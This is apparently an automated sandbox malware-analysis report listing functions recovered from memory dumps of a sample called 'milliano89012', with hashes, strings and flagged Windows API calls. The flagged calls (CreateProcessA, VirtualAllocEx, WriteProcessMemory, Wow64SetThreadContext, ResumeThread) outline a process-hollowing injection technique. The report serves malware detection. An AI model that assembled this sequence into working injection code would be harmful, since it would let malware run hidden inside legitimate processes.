Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: $p$$p$$p$$p
API String ID: 0-3121760203
Opcode ID: c5d8cb579c723072abbec3c3354fed66ed988d75969ca1dbb98d18c9abd0a5c0
Instruction ID: ddd8ae562e104c35d70c091b849a719c5e55b69df8af4e274e8ed4b35afb59ba
Opcode Fuzzy Hash: c5d8cb579c723072abbec3c3354fed66ed988d75969ca1dbb98d18c9abd0a5c0
Instruction Fuzzy Hash: D4414C34B002049FDB589F79DC65B6EBAE2AFC8350F259069E506DB3A9DE719C018B90

Function 00C986B4 Relevance: 1.8, APIs: 1, Instructions: 326
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00C98987

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 52e96971253db7ff7378723d6cc29cfbc7c85f23af2efba587058c43bf7e6b74
Instruction ID: c8d37bd63128d396ddfe9d6f6e82d2b3732844af91422caa78b6d1659550bc5b
Opcode Fuzzy Hash: 52e96971253db7ff7378723d6cc29cfbc7c85f23af2efba587058c43bf7e6b74
Instruction Fuzzy Hash: F4C12570D002598FDF24CFA8C845BEEBBB1BF09300F0495AAD919B7250DB749A89CF94

Function 00C986C0 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00C98987

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f8df2c90870b1a6bce2c6ae518ebc1fd69ced81bb02f257a0c2c527ded4c24ae
Instruction ID: 7186f089e6bd6395965d6207ac71454ef5b89b0a4daf444ec354175c08ca25a1
Opcode Fuzzy Hash: f8df2c90870b1a6bce2c6ae518ebc1fd69ced81bb02f257a0c2c527ded4c24ae
Instruction Fuzzy Hash: D0C11570D002198FDF24CFA8C845BEEBBB1BF49300F0491AAD959B7250DB749A89CF95

Function 00C98320 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00C983FB

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6b8fcde61a918ed94bc0021d22d79f384107cbe75196c41b7e113541c603eb2a
Instruction ID: 9f0912314a866af617a264c9c02c533e311c4041e82ad84892b4cf15a5fb89ba
Opcode Fuzzy Hash: 6b8fcde61a918ed94bc0021d22d79f384107cbe75196c41b7e113541c603eb2a
Instruction Fuzzy Hash: 2F4199B5D012599FCF00CFA9D984AEEBBB1BF49314F24942AE814B7250D734AA45CF64

Function 00C98328 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00C983FB

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: bb77967f5f0392850c6dc7d6d00808fcb20228f5e6837a7000f2b9bb49370eee
Instruction ID: a68295455729cc9cc3910d3d217df9e932677a9f0b75cf74b51474acac6fa70d
Opcode Fuzzy Hash: bb77967f5f0392850c6dc7d6d00808fcb20228f5e6837a7000f2b9bb49370eee
Instruction Fuzzy Hash: 234198B5D002489FCF00CFA9D984AEEFBF1BB49314F20942AE814B7250D734AA45CB64

Function 00C98482 Relevance: 1.6, APIs: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00C9853A

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 856a8fac11cb0137104b861d75d73e5d2e73e02f829a1815352b72669732388e
Instruction ID: 0afa752ee0fcebfa7c6280cd4c753912720b2d485eb660a4e8726bdd7aef3219
Opcode Fuzzy Hash: 856a8fac11cb0137104b861d75d73e5d2e73e02f829a1815352b72669732388e
Instruction Fuzzy Hash: 7641BBB5D002589FCF10CFA9D984AEEFBB1BF49310F14942AE814B7250C735A949CF65

Function 00C98488 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00C9853A

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 5171eb0febd789059f758573d45fc101a5640a77fc67f28a5403e3ba12cd17bd
Instruction ID: cff26e999e9bb8dfb0653579a8d51463e6379742affd95413ba4badfdc953a44
Opcode Fuzzy Hash: 5171eb0febd789059f758573d45fc101a5640a77fc67f28a5403e3ba12cd17bd
Instruction Fuzzy Hash: BA41BAB5D002589FCF10CFAAD884AEEFBB1BF49310F10942AE814B7200C735A949CF64

Function 00C981F8 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00C982AA

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c5dac4faf11610425c584885223dca1b9ebe1f285f2d2052b910af1cf9967f29
Instruction ID: a7ec3e21cdb37969da933224b199490bbac8c8e28db28494379024646e6e1bf6
Opcode Fuzzy Hash: c5dac4faf11610425c584885223dca1b9ebe1f285f2d2052b910af1cf9967f29
Instruction Fuzzy Hash: F541A9B9D002489FCF10CFA9D984AEEFBB1BF49310F20942AE815B7254D735A946CF54

Function 00C98200 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00C982AA

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ad24b87b74faececc34d0f0d009ea384e3e546d3f610507c1a16d76e75ffaf40
Instruction ID: 314c185012b246d2f55447bfcc23e23e1224459bba0cc5854e6236758bfad957
Opcode Fuzzy Hash: ad24b87b74faececc34d0f0d009ea384e3e546d3f610507c1a16d76e75ffaf40
Instruction Fuzzy Hash: 184199B9D002589BCF10CFA9D984AAEFBB1BF49310F10942AE815B7214D735A945CFA5

Function 00C980CA Relevance: 1.6, APIs: 1, Instructions: 97
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00C9817F

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 03710ba7398129050c900fda33a0795480a89eba9abe79de4c0e9fc489cc0683
Instruction ID: c6f687fec0b32ab97c4f31ba19b3b27c6625844f287958c4a29bbdb3ed0dd5da
Opcode Fuzzy Hash: 03710ba7398129050c900fda33a0795480a89eba9abe79de4c0e9fc489cc0683
Instruction Fuzzy Hash: 1A41BCB5D002599FCF14CFA9D984AEEFBB1BF49314F24802AE815B7240C7789A4ACF54

Function 00C980D0 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00C9817F

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c07da535e195a38b75c20c4883df1527966843d5e1f99e7a682057b9213d99b5
Instruction ID: a931b097919c8ea6f4829b418471f3c477a939589fa5d9fe2e3b8b7fc722dd7d
Opcode Fuzzy Hash: c07da535e195a38b75c20c4883df1527966843d5e1f99e7a682057b9213d99b5
Instruction Fuzzy Hash: 3D41ABB5D002589FCF14CFA9D984AEEFBB1AB49314F24842AE815B7240D778AA49CF54

Function 00C97FD8 Relevance: 1.6, APIs: 1, Instructions: 77
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00C9805E

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 35eab1389353e5b8f3d948f103f7a2857c18625d63df2e380cf64b1622f4e9fb
Instruction ID: 31770b335ad6856614adb8be55ab4fce104b3a594de5fb314e9c86617d7c9d4f
Opcode Fuzzy Hash: 35eab1389353e5b8f3d948f103f7a2857c18625d63df2e380cf64b1622f4e9fb
Instruction Fuzzy Hash: 3031C9B4D002089FCF10CFA9E884AAEFBB1AF49314F24942AE815B7340C775A909CF94

Function 00C97FE0 Relevance: 1.6, APIs: 1, Instructions: 75
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00C9805E

Memory Dump Source

Source File: 0000000A.00000002.415770257.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c90000_milliano89012.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d2e1357792b34062cb1cf46d427c11d7140f31054f8b98e9fdcc85543db60bf3
Instruction ID: 172e894a8ca137499011de5b6fda49afafb4dee0ac894d0a4b58812680bae0c5
Opcode Fuzzy Hash: d2e1357792b34062cb1cf46d427c11d7140f31054f8b98e9fdcc85543db60bf3
Instruction Fuzzy Hash: A631BCB4D002189FCF10CFA9D984AAEFBB5EF49314F14942AE814B7300C735A905CF94

Function 003949CF Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

,p, xrefs: 00394AC3

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: ,p
API String ID: 0-2091407873
Opcode ID: dd639fb3230481abd654034787fda289afc35023c183f9d0a630b86402a897dc
Instruction ID: 74ff7f7041b2a1486e559b6c816655df3f32e2a80a2cc169b2f75217f04b30d4
Opcode Fuzzy Hash: dd639fb3230481abd654034787fda289afc35023c183f9d0a630b86402a897dc
Instruction Fuzzy Hash: B1815130706600AFDF6ADA7C8415F3E2AD7AFC531176650B6C506CB3A8EE60CC02DB66

Function 003912D8 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

Fze, xrefs: 00395634

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: Fze
API String ID: 0-1667116235
Opcode ID: 5b2e2cb0300976d9a730c430a5e96e53957f8b8217277413643e59042fd18f4d
Instruction ID: ca8d22e58e40ace6bb4dd41db8689cf0ef943f1bf13c5f3df87393bf2f6d4de3
Opcode Fuzzy Hash: 5b2e2cb0300976d9a730c430a5e96e53957f8b8217277413643e59042fd18f4d
Instruction Fuzzy Hash: 7F411D34E4020A8FDF06EBA8C852BEEBBB6EF89300F515525E5057B295DF306991CB91

Function 0039D618 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Tep, xrefs: 0039D62D

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: Tep
API String ID: 0-914316021
Opcode ID: b99fca39d2beb248d998aa812ad5626ce355f07067b109482fcd2ad7491e8570
Instruction ID: fe63860e14a3b2a6f16dae971f3fbbd9a7aff75bf6556ed5ea16b4832e32fe83
Opcode Fuzzy Hash: b99fca39d2beb248d998aa812ad5626ce355f07067b109482fcd2ad7491e8570
Instruction Fuzzy Hash: DE218C34704200CFCB42DFA8D89AB6DBBF2AF89314F614069E50BDB3A5CA709C41CB41

Function 00397D51 Relevance: 1.3, Strings: 1, Instructions: 11COMMON

Download Yara Rule

Strings

HG3, xrefs: 00397D60

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: HG3
API String ID: 0-2166406590
Opcode ID: 31de93682edbe25d065ebbdb6725ad29ab115e55a2b32155423bd78f3715280f
Instruction ID: 90256738b511b93a6504ed74586f9dbe966e4cc067d92f5704c9f30ec4ede6b9
Opcode Fuzzy Hash: 31de93682edbe25d065ebbdb6725ad29ab115e55a2b32155423bd78f3715280f
Instruction Fuzzy Hash: 2FD0CA2820E3D14EEB0B96246970A462F718B83300B4A00EB8295CF2ABD604994AC3B2

Function 0039A811 Relevance: 1.3, Strings: 1, Instructions: 9COMMON

Download Yara Rule

Strings

HG3, xrefs: 0039A820

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: HG3
API String ID: 0-2166406590
Opcode ID: 18f88b71f2cd6a82d258f21ccc4fa52f382e1dac56a0f78b9237650e400405c8
Instruction ID: a6a0d4a20ce5e5993e662c039156c43abb717b79b28f7cfc8c379bbe1afae91d
Opcode Fuzzy Hash: 18f88b71f2cd6a82d258f21ccc4fa52f382e1dac56a0f78b9237650e400405c8
Instruction Fuzzy Hash: 64C08C5670D7D04FEB0B8328A4207062EB29B83302F5600F6A3828F2D7E5208C00C362

Function 003944F9 Relevance: 1.3, Strings: 1, Instructions: 6COMMON

Download Yara Rule

Strings

HG3, xrefs: 00394500

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID: HG3
API String ID: 0-2166406590
Opcode ID: c5cfbaab5508ae0c2dc00ef8f6791559bda428282624b6b00609c6e7303a13b2
Instruction ID: c3a3a3baf6d3a28bacd29e670260f288214719375ca7f68f4f3fe28c9bb05f66
Opcode Fuzzy Hash: c5cfbaab5508ae0c2dc00ef8f6791559bda428282624b6b00609c6e7303a13b2
Instruction Fuzzy Hash: C9B0143450054447DF5DD71D755541537F1F7C1305741D05557154F144D730D55D57C1

Function 0039D250 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd997249b0308c8565aa9dd10180b77c1b1639db2d12779b0cbd64c144f1543
Instruction ID: 44c23b2cff76aa0c47a2370e88e6e7be31e6e23df428da163c80a3a6de5e331d
Opcode Fuzzy Hash: 2fd997249b0308c8565aa9dd10180b77c1b1639db2d12779b0cbd64c144f1543
Instruction Fuzzy Hash: 95812B74600B019FC745DF78C494AAABBE2FF89300B5189A8E51ACB366DF70AD45CB91

Function 0039D260 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c932027dd33d439ef9d4123fa4fc5d76d2c5cb25b04cdc65cd947938fc9e491
Instruction ID: 89c3d5502f557e787d5dbb7ea3a8df10dd9f239456b2cbdc0d960d225775dab5
Opcode Fuzzy Hash: 0c932027dd33d439ef9d4123fa4fc5d76d2c5cb25b04cdc65cd947938fc9e491
Instruction Fuzzy Hash: 34811974600B019FC745EF78C494AAEBBE2FF89300B5189A8E51ACB365DF70AD45CB91

Function 00390960 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49cf67c990866fb2554a9bd8168a14a22aa4e74238208febbbf5662b6ce61bbd
Instruction ID: 906904261343b49a13269c11d99f33e5fb19c40e9ef271d40cf7d02a961f5630
Opcode Fuzzy Hash: 49cf67c990866fb2554a9bd8168a14a22aa4e74238208febbbf5662b6ce61bbd
Instruction Fuzzy Hash: 4581EB34E002089FDB05DFE8C995A9DBBB2FF89300F108569E515AB366DB75AD49CF40

Function 00390534 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1c95ebd3cd0a6b16502871cded3b633b5203ff11ac506a02c45cf4c09508677
Instruction ID: 54f1db67872ed5bc8762c1432350a339ca6552713b3fdb2c6be4ff6246dcdbbf
Opcode Fuzzy Hash: e1c95ebd3cd0a6b16502871cded3b633b5203ff11ac506a02c45cf4c09508677
Instruction Fuzzy Hash: 9581EB34E002089FDB09DFE8C995A9EB7B2FF89300F108569E515AB365DB75AD49CF40

Function 0039ED04 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3eafaeb349bd092143814b323d3ebb93fc184035bda60bdce920e84f06f1cf
Instruction ID: f06047f3a00121148c83882f0508977463ffdcc65d6bba97a014fd25fe05d151
Opcode Fuzzy Hash: 1a3eafaeb349bd092143814b323d3ebb93fc184035bda60bdce920e84f06f1cf
Instruction Fuzzy Hash: F8617BB4E19229CFCF21CFA9C984AEDBBF9BB09310F24A465E449E7251D7709981DF00

Function 0039E279 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a64763355ffbbfe45c98feaf77c122bb4965e165de47157301aeb87526bf4c9
Instruction ID: 7437dda99cdd3b893d5699579487a97eb8e04b763a7de8cf1609214991888216
Opcode Fuzzy Hash: 5a64763355ffbbfe45c98feaf77c122bb4965e165de47157301aeb87526bf4c9
Instruction Fuzzy Hash: FE413C74A1960ACFCB02DFA9D9849BEBBFCFB0A300B226495D489E7712D730D910CB50

Function 0039E389 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3ed8df38198c1dcc53051eb9386108bb4858f70dab5cca1fddb1d90c6cedc8
Instruction ID: 80d5101e27b4d085d02bb82ea646968744c3f8eef523080ad135f3f1809571a0
Opcode Fuzzy Hash: 5c3ed8df38198c1dcc53051eb9386108bb4858f70dab5cca1fddb1d90c6cedc8
Instruction Fuzzy Hash: B6411679E18219AFCF02CFA9D884AEEBBB9BF4D310F119865E815E7651D7309940CF90

Function 0039E138 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf3933d497b4cd2f8785ee505f0197888df1a4d57e37fc7af0c10b738616f408
Instruction ID: ac48cf563b3999b0dc27a0c93629dfaa20639fc1a6fb1be4bb99c64f1a8c4646
Opcode Fuzzy Hash: bf3933d497b4cd2f8785ee505f0197888df1a4d57e37fc7af0c10b738616f408
Instruction Fuzzy Hash: 18412970A0C619CFDB05DFAAD8849BDBBFDFF4E300B12A9A5D0599B626D7309810DB40

Function 0039E148 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 933877ce4964b141eda328247222586f1884fbc30def3c2ff6bb856545b0a3d0
Instruction ID: 56d43a6682720bde5f406b86182457c3c9ff3c800f68153364a95452844a719a
Opcode Fuzzy Hash: 933877ce4964b141eda328247222586f1884fbc30def3c2ff6bb856545b0a3d0
Instruction Fuzzy Hash: 5F412B74D08519CFDB05DF9AD8889BDBBFDFF4D300B52A895D0599B626D7309810DB40

Function 00390C10 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8600017f4c588ecfded3f0ee97d0cdd0a30f5b3037cd4479ba431a3e326e14
Instruction ID: 1ad23c8bb2b60a4b284f71f7c87f7be3152d07246de5004e601eb905f753bfb4
Opcode Fuzzy Hash: 3a8600017f4c588ecfded3f0ee97d0cdd0a30f5b3037cd4479ba431a3e326e14
Instruction Fuzzy Hash: 8E417935E113199FCB05DFA8D880ADEFBB2FF85300F258655E5017B2A1DB70AA85CB91

Function 0039FC22 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d598c929e14fe77cc6cd77dfd3584f2d74d855320457977d5cb07a92c32e2d50
Instruction ID: 4e7ae58b600d6c187954df3b7149f39dcb240ab2bfda66b5ccc7688361572349
Opcode Fuzzy Hash: d598c929e14fe77cc6cd77dfd3584f2d74d855320457977d5cb07a92c32e2d50
Instruction Fuzzy Hash: AC31DD70E082199FDF169BA488517FF7BBAAFC9310F24807AD502EB645D6304D01DB91

Function 00396912 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5822bba3a7782068684d8219bae8a37a328e977dc7ab44df62f5597275dc728e
Instruction ID: c2a013b2bd23281af3ac30f9f8f7a50a493636514ddd7ce270036b283853c099
Opcode Fuzzy Hash: 5822bba3a7782068684d8219bae8a37a328e977dc7ab44df62f5597275dc728e
Instruction Fuzzy Hash: 2531A734E052489FDB0ADBA8D490FDEBFF1AF85300F0580AAE4C5AB362DB745945CB51

Function 0039E288 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60f57da1a39f9ace9edb839d6c73b7c466dd9140aac578ddbc1cd3ec6b3422b6
Instruction ID: d142a7041b95766ef3b14be7f7fa8bb881af8990b59bd0a582e8026ff27339b2
Opcode Fuzzy Hash: 60f57da1a39f9ace9edb839d6c73b7c466dd9140aac578ddbc1cd3ec6b3422b6
Instruction Fuzzy Hash: D4310B74A1820ACFCB41DFA9D9849BEBBF8FB0D300B6264A1D449E7715D730D910CB91

Function 0039FC30 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f7757ad2449328086f975f8e98809744ed1d44e62964ed3870f5837f8ed825d
Instruction ID: abdf81f26a62e2b11e35142d63498452d2930918c82572d3cbe49847797a8432
Opcode Fuzzy Hash: 7f7757ad2449328086f975f8e98809744ed1d44e62964ed3870f5837f8ed825d
Instruction Fuzzy Hash: DA219471E042199FDF159BA488517FFB6BAABC8310F248439D916EA748DA314D01DBA1

Function 003952C4 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.405229479.0000000000390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_390000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a7da1c89b2cf889e3585995824417fb531ec2d747537d92424346ef75a96ed
Instruction ID: 2b69e45fb1a3e86740c1ead4a7dd341538d019d9d40d7a2433c94f1a5bf214a6
Opcode Fuzzy Hash: c3a7da1c89b2cf889e3585995824417fb531ec2d747537d92424346ef75a96ed
Instruction Fuzzy Hash: AF314B74E01208AFDB09DB98D494BEEFBF5AF88300F048066F955AB361DF706945CB91

Function 001AD274 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.403465139.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ad000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a8278d1eaa954d6b1b244e63f555c26aef6e26f52b9221e68a057017cc8f73
Instruction ID: 1e9cb9629434748527d2f8aec9c174c6dd3edd067e1ce01eb5061fb57b61bd61
